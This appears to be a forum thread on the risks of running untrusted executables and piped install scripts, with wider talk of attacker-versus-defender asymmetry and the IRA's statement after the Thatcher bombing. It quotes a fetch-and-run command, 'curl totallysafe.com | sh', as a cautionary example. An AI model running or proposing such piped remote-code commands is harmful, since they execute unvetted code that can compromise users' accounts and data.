Do tech people execute such exe files? Doesn't seem like a novelty method, does it?
It depends.
Is this an .exe file in an email attachment? Then usually no.
Is this a github project which asks you to “curl totallysafe.com | sh”? Then often yes.
I only run random bash scripts from the internet with sudo permissions
But for an attacker that convinced you to run some malicious shell commands (e.g. `curl ...| sh` or copy/pasting more than you bargained for) that's only a minor inconvenience; next time you sudo, they're root anyway.
//Edit
Also, an attacker aiming for root is a red herring. One compromised account can already be bad enough - why would they need root on your private computer when they already stole your password database, keylogged your master password and created an off-site backup of your home dir?
In any case safest route is to always do a new shell (or a docker vm) for fun activities.
There was some story I read years ago about how terrorists (I think it was) could have their plot foiled 99% of the time but they only needed to be successful once. Whereas their targets need to be successful 100% of the time. (I wish I could remember where I heard that)…anyways, this applies to IT security too.
You probably heard it from multiple sources since it is a cliche used in all types of security fields. Kind of like how 'if you are getting something of value for free you are the product not the client' is for web-services people.
This is true, but an IT security team also has a huge number of opportunities to detect an intruder.
If the defender has just one security vulnerability, the intruder can get in -- and the defender typically won't know about the security vulnerability ahead of time. If the intruder is noisy just once, the defender can catch them -- and the intruder typically won't know what's being listened to or even what systems/credentials are real.
It’s also worth noting that we are talking about contractors laptops here. So they wouldn’t be subject to management by IT security teams. At best, they’re entirely disconnected from the IT systems that contractor is hired to work on. It at worse, they’re used as a BYOD. And the worst case is surprisingly often the norm.
In the case of the attempted assassination of Margaret Thatcher, the bomb failed to kill Thatcher, but the IRA could always try again. Only one bomb needed to succeed, and even if they lost some operatives they could keep going until Thatcher was dead.
The case in information security is even worse, because most attackers are completely out of reach for retaliation. They're extremely difficult to track down, and even when you do it's usually to a country that won't even consider extradition. So they can try again and again, and you have to catch them every time or they'll achieve their goal.
The IRA statement following the bombing was: "Thatcher will now realise that Britain cannot occupy our country and torture our prisoners and shoot our people in their own streets and get away with it. Today we were unlucky, but remember we only have to be lucky once. You will have to be lucky always. Give Ireland peace and there will be no more war."